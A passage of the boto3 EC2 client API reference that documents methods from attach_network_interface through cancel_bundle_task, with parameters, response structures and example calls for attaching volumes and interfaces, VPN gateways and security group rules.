Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterface) + +**Request Syntax** + +response = client.attach_network_interface( + DeviceIndex=123, + DryRun=True|False, + InstanceId='string', + NetworkInterfaceId='string', + NetworkCardIndex=123 +) + +Parameters + +* **DeviceIndex** (_integer_) -- + + **[REQUIRED]** + + The index of the device for the network interface attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + +* **NetworkCardIndex** (_integer_) -- The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachmentId': 'string', + 'NetworkCardIndex': 123 +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of AttachNetworkInterface. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + +**Examples** + +This example attaches the specified network interface to the specified instance. + +response = client.attach_network_interface( + DeviceIndex=1, + InstanceId='i-1234567890abcdef0', + NetworkInterfaceId='eni-e5aa89a3', +) + +print(response) + +Expected Output: + +{ + 'AttachmentId': 'eni-attach-66c4350a', + 'ResponseMetadata': { + '...': '...', + }, +} + +attach_volume(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = client.attach_volume( + Device='string', + InstanceId='string', + VolumeId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. The volume and instance must be within the same Availability Zone. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +**Examples** + +This example attaches a volume (vol-1234567890abcdef0) to an instance (i-01474ef662b89480) as /dev/sdf. + +response = client.attach_volume( + Device='/dev/sdf', + InstanceId='i-01474ef662b89480', + VolumeId='vol-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'AttachTime': datetime(2016, 8, 29, 18, 52, 32, 0, 242, 0), + 'Device': '/dev/sdf', + 'InstanceId': 'i-01474ef662b89480', + 'State': 'attaching', + 'VolumeId': 'vol-1234567890abcdef0', + 'ResponseMetadata': { + '...': '...', + }, +} + +attach_vpn_gateway(kwargs_) + +Attaches a virtual private gateway to a VPC. You can attach one virtual private gateway to one VPC at a time. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVpnGateway) + +**Request Syntax** + +response = client.attach_vpn_gateway( + VpcId='string', + VpnGatewayId='string', + DryRun=True|False +) + +Parameters + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **VpnGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual private gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcAttachment': { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of AttachVpnGateway. + + * **VpcAttachment** _(dict) --_ + + Information about the attachment. + + * **State** _(string) --_ + + The current state of the attachment. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +authorize_client_vpn_ingress(kwargs_) + +Adds an ingress authorization rule to a Client VPN endpoint. Ingress authorization rules act as firewall rules that grant access to networks. You must configure ingress authorization rules to enable clients to access resources in AWS or on-premises networks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeClientVpnIngress) + +**Request Syntax** + +response = client.authorize_client_vpn_ingress( + ClientVpnEndpointId='string', + TargetNetworkCidr='string', + AccessGroupId='string', + AuthorizeAllGroups=True|False, + Description='string', + ClientToken='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **TargetNetworkCidr** (_string_) -- + + **[REQUIRED]** + + The IPv4 address range, in CIDR notation, of the network for which access is being authorized. + +* **AccessGroupId** (_string_) -- The ID of the group to grant access to, for example, the Active Directory group or identity provider (IdP) group. Required if AuthorizeAllGroups is false or not specified. +* **AuthorizeAllGroups** (_boolean_) -- Indicates whether to grant access to all clients. Specify true to grant all clients who successfully establish a VPN connection access to the network. Must be set to true if AccessGroupId is not specified. +* **Description** (_string_) -- A brief description of the authorization rule. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Status': { + 'Code': 'authorizing'|'active'|'failed'|'revoking', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Status** _(dict) --_ + + The current state of the authorization rule. + + * **Code** _(string) --_ + + The state of the authorization rule. + + * **Message** _(string) --_ + + A message about the status of the authorization rule, if applicable. + + +authorize_security_group_egress(kwargs_) + +[VPC only] Adds the specified egress rules to a security group for use with a VPC. + +An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For the TCP and UDP protocols, you must also specify the destination port or port range. For the ICMP protocol, you must also specify the ICMP type and code. You can use -1 for the type or code to mean all types or all codes. + +Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupEgress) + +**Request Syntax** + +response = client.authorize_security_group_egress( + DryRun=True|False, + GroupId='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupId** (_string_) -- + + **[REQUIRED]** + + The ID of the security group. + +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Returns + +None + +**Examples** + +This example adds a rule that grants access to the specified address ranges on TCP port 80. + +response = client.authorize_security_group_egress( + GroupId='sg-1a2b3c4d', + IpPermissions=[ + { + 'FromPort': 80, + 'IpProtocol': 'tcp', + 'IpRanges': [ + { + 'CidrIp': '10.0.0.0/16', + }, + ], + 'ToPort': 80, + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example adds a rule that grants access to the specified security group on TCP port 80. + +response = client.authorize_security_group_egress( + GroupId='sg-1a2b3c4d', + IpPermissions=[ + { + 'FromPort': 80, + 'IpProtocol': 'tcp', + 'ToPort': 80, + 'UserIdGroupPairs': [ + { + 'GroupId': 'sg-4b51a32f', + }, + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +authorize_security_group_ingress(kwargs_) + +Adds the specified ingress rules to a security group. + +An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For TCP and UDP, you must also specify the destination port or port range. For ICMP/ICMPv6, you must also specify the ICMP/ICMPv6 type and code. You can use -1 to mean all types or all codes. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupIngress) + +**Request Syntax** + +response = client.authorize_security_group_ingress( + CidrIp='string', + FromPort=123, + GroupId='string', + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- + + The IPv4 address range, in CIDR format. You can't specify this parameter when specifying a source security group. To specify an IPv6 address range, use a set of IP permissions. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **FromPort** (_integer_) -- + + The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all types. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **GroupId** (_string_) -- The ID of the security group. You must specify either the security group ID or the security group name in the request. For security groups in a nondefault VPC, you must specify the security group ID. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- + + The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). To specify icmpv6 , use a set of IP permissions. + + [VPC only] Use -1 to specify all protocols. If you specify -1 or a protocol other than tcp , udp , or icmp , traffic on all ports is allowed, regardless of any ports you specify. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. For EC2-VPC, the source security group must be in the same VPC. +* **SourceSecurityGroupOwnerId** (_string_) -- [nondefault VPC] The AWS account ID for the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- + + The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all codes. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example enables inbound traffic on TCP port 22 (SSH). The rule includes a description to help you identify it later. + +response = client.authorize_security_group_ingress( + GroupId='sg-903004f8', + IpPermissions=[ + { + 'FromPort': 22, + 'IpProtocol': 'tcp', + 'IpRanges': [ + { + 'CidrIp': '203.0.113.0/24', + 'Description': 'SSH access from the LA office', + }, + ], + 'ToPort': 22, + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example enables inbound traffic on TCP port 80 from the specified security group. The group must be in the same VPC or a peer VPC. Incoming traffic is allowed based on the private IP addresses of instances that are associated with the specified security group. + +response = client.authorize_security_group_ingress( + GroupId='sg-111aaa22', + IpPermissions=[ + { + 'FromPort': 80, + 'IpProtocol': 'tcp', + 'ToPort': 80, + 'UserIdGroupPairs': [ + { + 'Description': 'HTTP access from other instances', + 'GroupId': 'sg-1a2b3c4d', + }, + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example adds an inbound rule that allows RDP traffic from the specified IPv6 address range. The rule includes a description to help you identify it later. + +response = client.authorize_security_group_ingress( + GroupId='sg-123abc12 ', + IpPermissions=[ + { + 'FromPort': 3389, + 'IpProtocol': 'tcp', + 'Ipv6Ranges': [ + { + 'CidrIpv6': '2001:db8:1234:1a00::/64', + 'Description': 'RDP access from the NY office', + }, + ], + 'ToPort': 3389, + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +bundle_instance(kwargs_) + +Bundles an Amazon instance store-backed Windows instance. + +During bundling, only the root device volume (C:) is bundled. Data on other instance store volumes is not preserved. + +Note + +This action is not applicable for Linux/Unix instances or Windows instances that are backed by Amazon EBS. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/BundleInstance) + +**Request Syntax** + +response = client.bundle_instance( + InstanceId='string', + Storage={ + 'S3': { + 'AWSAccessKeyId': 'string', + 'Bucket': 'string', + 'Prefix': 'string', + 'UploadPolicy': b'bytes', + 'UploadPolicySignature': 'string' + } + }, + DryRun=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to bundle. + + Type: String + + Default: None + + Required: Yes + +* **Storage** (_dict_) -- + + **[REQUIRED]** + + The bucket in which to store the AMI. You can specify a bucket that you already own or a new bucket that Amazon EC2 creates on your behalf. If you specify a bucket that belongs to someone else, Amazon EC2 returns an error. + + * **S3** _(dict) --_ + + An Amazon S3 storage location. + + * **AWSAccessKeyId** _(string) --_ + + The access key ID of the owner of the bucket. Before you specify a value for your access key ID, review and follow the guidance in [Best Practices for Managing AWS Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html) . + + * **Bucket** _(string) --_ + + The bucket in which to store the AMI. You can specify a bucket that you already own or a new bucket that Amazon EC2 creates on your behalf. If you specify a bucket that belongs to someone else, Amazon EC2 returns an error. + + * **Prefix** _(string) --_ + + The beginning of the file name of the AMI. + + * **UploadPolicy** _(bytes) --_ + + An Amazon S3 upload policy that gives Amazon EC2 permission to upload items into Amazon S3 on your behalf. + + * **UploadPolicySignature** _(string) --_ + + The signature of the JSON document. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BundleTask': { + 'BundleId': 'string', + 'BundleTaskError': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'Progress': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'waiting-for-shutdown'|'bundling'|'storing'|'cancelling'|'complete'|'failed', + 'Storage': { + 'S3': { + 'AWSAccessKeyId': 'string', + 'Bucket': 'string', + 'Prefix': 'string', + 'UploadPolicy': b'bytes', + 'UploadPolicySignature': 'string' + } + }, + 'UpdateTime': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of BundleInstance. + + * **BundleTask** _(dict) --_ + + Information about the bundle task. + + * **BundleId** _(string) --_ + + The ID of the bundle task. + + * **BundleTaskError** _(dict) --_ + + If the task fails, a description of the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with this bundle task. + + * **Progress** _(string) --_ + + The level of task completion, as a percent (for example, 20%). + + * **StartTime** _(datetime) --_ + + The time this task started. + + * **State** _(string) --_ + + The state of the task. + + * **Storage** _(dict) --_ + + The Amazon S3 storage locations. + + * **S3** _(dict) --_ + + An Amazon S3 storage location. + + * **AWSAccessKeyId** _(string) --_ + + The access key ID of the owner of the bucket. Before you specify a value for your access key ID, review and follow the guidance in [Best Practices for Managing AWS Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html) . + + * **Bucket** _(string) --_ + + The bucket in which to store the AMI. You can specify a bucket that you already own or a new bucket that Amazon EC2 creates on your behalf. If you specify a bucket that belongs to someone else, Amazon EC2 returns an error. + + * **Prefix** _(string) --_ + + The beginning of the file name of the AMI. + + * **UploadPolicy** _(bytes) --_ + + An Amazon S3 upload policy that gives Amazon EC2 permission to upload items into Amazon S3 on your behalf. + + * **UploadPolicySignature** _(string) --_ + + The signature of the JSON document. + + * **UpdateTime** _(datetime) --_ + + The time of the most recent update for the task. + + +can_paginate(_operation_name_) + +Check if an operation can be paginated. + +Parameters + +**operation_name** (_string_) -- The operation name. This is the same name as the method name on the client. For example, if the method name is create_foo, and you'd normally invoke the operation as client.create_foo(**kwargs), if the create_foo operation can be paginated, you can use the call client.get_paginator("create_foo"). + +Returns + +True if the operation can be paginated, False otherwise. + +cancel_bundle_task(kwargs_) + +Cancels a bundling operation for an instance store-backed Windows instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelBundleTask) + +**Request Syntax** + +response = client.cancel_bundle_task( + BundleId='string', + DryRun=True|False +) + +Parameters + +* **BundleId** (_string_) -- + + **[REQUIRED]** + + The ID of the bundle task. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BundleTask': { + 'BundleId': 'string', + 'BundleTaskError': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'Progress': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'waiting-for-shutdown'|'bundling'|'storing'|'cancelling'|'complete'|'failed', + 'Storage': { + 'S3': { + 'AWSAccessKeyId': 'string', + 'Bucket': 'string', + 'Prefix': 'string', + 'UploadPolicy': b'bytes', + 'UploadPolicySignature': 'string' + } + }, + 'UpdateTime': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CancelBundleTask. + + * **BundleTask** _(dict) --_ + + Information about the bundle task. + + * **BundleId** _(string) --_ + + The ID of the bundle task. + + * **BundleTaskError** _(dict) --_ + + If the task fails, a description of the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with this bundle task. + + * **Progress** _(string) --_ + + The level of task completion, as a percent (for example, 20%). + + * **StartTime** _(datetime) --_ + + The time this task started. + + * **State** _(string) --_ + + The state of the task. + + * **Storage** _(dict) --_ + + The Amazon S3 storage locations. + + * **S3** _(dict) --_ + + An Amazon S3 storage location. + + * **AWSAccessKeyId** _(string) --_ + + The access key ID of the owner of the bucket. Before you specify a value for your access key ID, review and follow the guidance in [Best Practices for Managing AWS Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html) . + + * **Bucket** _(string) --_ + + The bucket in which to store the AMI. You can specify a bucket that you already own or a new bucket that Amazon EC2 creates on your behalf. If you specify a bucket that belongs to someone else, Amazon EC2 returns an error. + + * **Prefix** _(string) --_ + + The beginning of the file name of the AMI. + + * **UploadPolicy** _(bytes) --_ + + An Amazon S3 upload policy that gives Amazon EC2 permission to upload items into Amazon S3 on your behalf. + + * **UploadPolicySignature** _(string) --_ + + The signature of the JSON document. + + * **UpdateTime** _(datetime) --_ + + The time of the most recent update for the task. + + +cancel_capacity_reservation(kwargs_) + 